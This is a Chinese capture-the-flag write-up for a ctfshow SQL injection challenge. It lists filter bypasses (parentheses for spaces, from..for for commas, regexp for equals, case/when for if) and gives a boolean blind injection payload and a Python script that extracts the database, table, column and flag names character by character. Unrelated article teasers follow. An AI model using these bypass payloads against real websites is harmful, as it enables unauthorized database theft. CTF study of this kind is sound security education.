WEB AK赛-web2_观星

news/2025/2/12 11:27:06/文章来源:https://www.cnblogs.com/govced/p/18580008


一看就是sql注入题
尝试了一下发现过滤的东西还挺多的(union,like,=,’,空格,and,if,逗号,ascii,sleep)等
不能用正常的布尔盲注:1^if(ascii(substr('flag',1,1))=104,1,0)
题目过滤了if
看了wp才知道有这种方式:case(A)when(B)then(C)else(D)end
绕过过滤:
过滤了空格可以用()代替
过滤了逗号可以用from..for代替
过滤了and可以用^或or来代替
过滤了ascli可以用 ord代替
过滤了等号和like可以用regexp代替
所以有了payload:id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

import requests
url = "http://e576e0ce-3634-40b4-a9b9-d97a15b78d37.challenge.ctf.show/index.php?id=1^"
flag = ""
for i in range(1,50):   #库名表名字段名以及flag的长度print("i="+str(i))for j in range(38,126):      # 可打印字符#payload = "case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end".format(i,j)  #爆库#payload = "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆表#payload = "case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end".format(i,j) # 爆字段payload = "case(ord(substr((select(group_concat(flag))from(flag))from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆flaga = url+payloadr = requests.get(a).text  #获取响应包信息if "I asked nothing" in r:flag+=chr(j)print(flag)break

到这里基本解出了,基本上是看大佬的wp
写点自己的想法。
遇上不同的布尔盲注题目需要自己去看回显的东西,回显东西不同脚本也不同。
同时没有一个脚本是通用的,需要自己去修改学习,但大体上是大差不差的。
......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/844633.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【学校训练记录】12月个人训练赛1个人题解

A对于n本书拿出k本较为难实现,但是从n本书里拿出n-k本就容易多了 对于n本书里拿一本为特殊情况,不管怎么拿都为0 对于n本书里拿n-k本的话,我们假设拿的最后一本为i那么 他就是拿出n-k-1本书的情况再加上拿出第i本的情况 其中差值变化为拿出n-k-1本书的值,加上我abs(w[i]-w[…

MySQL底层概述—7.优化原则及慢查询

大纲 1.Explain概述 2.Explain详解 3.索引优化数据准备 4.索引优化原则详解 5.慢查询设置与测试 6.慢查询SQL优化思路1.Explain概述 使用Explain关键字可以模拟查询优化器来执行SQL查询语句,从而知道MySQL是如何处理SQL语句的,从而分析出查询语句和表结构的性能瓶颈。MySQL查…

升鲜宝生鲜配送供应链管理系统Mysql表结构数据字典的生成小工具V0.01

最近最近要交付升鲜宝生鲜配送供应链管理系统源代码给上海的客户,需要将蓝湖UI设计图及数据字典交接给别人。在网上找了半天没有找到合适的根据Mysql生成Word数据字典,自己就写了几行代码,记录一下.后面可能会继续改造。主要的代码如下:using System; using System.Collect…

非递归线段树实现

ZKW 非递归线段树 参考文章:线段树详解(非递归版)_非递归线段树-CSDN博客 建树: 原数组[1,n] 存在线段树的 [2,n+1] (为了方便区间查询,要空出第一个节点和最后一个节点) 区间查询 若查询[L,R] 区间, 选取L-1和 R+1 两个节点, 向上寻找.每次到达父节点 L-1 查看自己的父亲的右…

hot100-一刷-01哈希(共3道题)

1.两数之和 题目链接 题目描述代码实现 分析:暴力的话就是两个for循环依次寻找相加为target的两个数。 用一个map记录已经遍历过的数,其中key就用这个数的字面值,value就存它的下标。 判断是否相加为taget的时候,只需要看map中是否有target-nums[i]就可以,说明当前的nums[…

Activiti 学习笔记

工作流概述 每一项业务的开始和结束,都可以理解为一个工作流,例如,公司的费用报销的基本流程如下:员工先提出费用报销申请,提交给部门领导,部门领导审批后,提交给财务部门审批,审批完成后,通知提出申请的员工可以报销,报销流程结束。整个流程按照步骤完成,这就是一个…

高级程序语言设计课第九次作业

14.17.314.17.414.17.514.17.1014.17.1114.18.314.18.4 a: b: 14.18.5

WEB AK赛-web1_观字

对这段代码进行解析: substr($url, 0, 7) 截取url变量前7位判断是否是http协议 preg_match() 正则表达式检查 URL 中是否包含一些潜在的危险字符: 过滤了:., ;, |, <, >, *, %, ^, () 这题只需要绕过"."即可。 尝试使用url编码不可以 在curl中可以使用"…

Fail pg walkthrough Intermediate

nmap ┌──(root㉿kali)-[/home/ftpuserr] └─# nmap -p- -A 192.168.159.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 02:54 UTC Nmap scan report for 192.168.159.126 Host is up (0.071s latency). Not shown: 65533 closed tcp ports (reset) PORT …

通过实现 FactoryBean 接口注入 Bean

原文:如何使用 Spring 的 FactoryBean 接口在 Spring 容器中有两类的 Bean,一类是普通的 Bean,一类是工厂 Bean。这两种 Bean 都是被 Spring 的容器进行管理的。而 Spring 也提供了一个接口用于扩展工厂 Bean,我们只要实现org.springframework.beans.factory.FactoryBean即…

探索古诺尔斯语:揭开维京时代语言的神秘面纱

在历史的长河中,有一些语言以其独特的文化和历史价值,成为语言学家、历史学家乃至文学爱好者研究的宝贵资源。古诺尔斯语,作为现代北欧语言的祖先,正是这样一个充满魅力的语言。它不仅是冰岛语、瑞典语、挪威语、丹麦语、法罗语和艾尔夫达利语的源头,更是维京时代斯堪的纳…

探索古英语的奥秘:一部语言的时光机

在历史的长河中,语言如同一条蜿蜒的河流,承载着文化的变迁和人类的智慧。古英语,作为英语的早期形式,不仅见证了中世纪英格兰的辉煌,更是现代英语的根基。它如同一部时光机,带我们穿梭回那个英雄与传说并存的时代,让我们得以窥见语言的原始面貌和文化的魅力。古英语:语…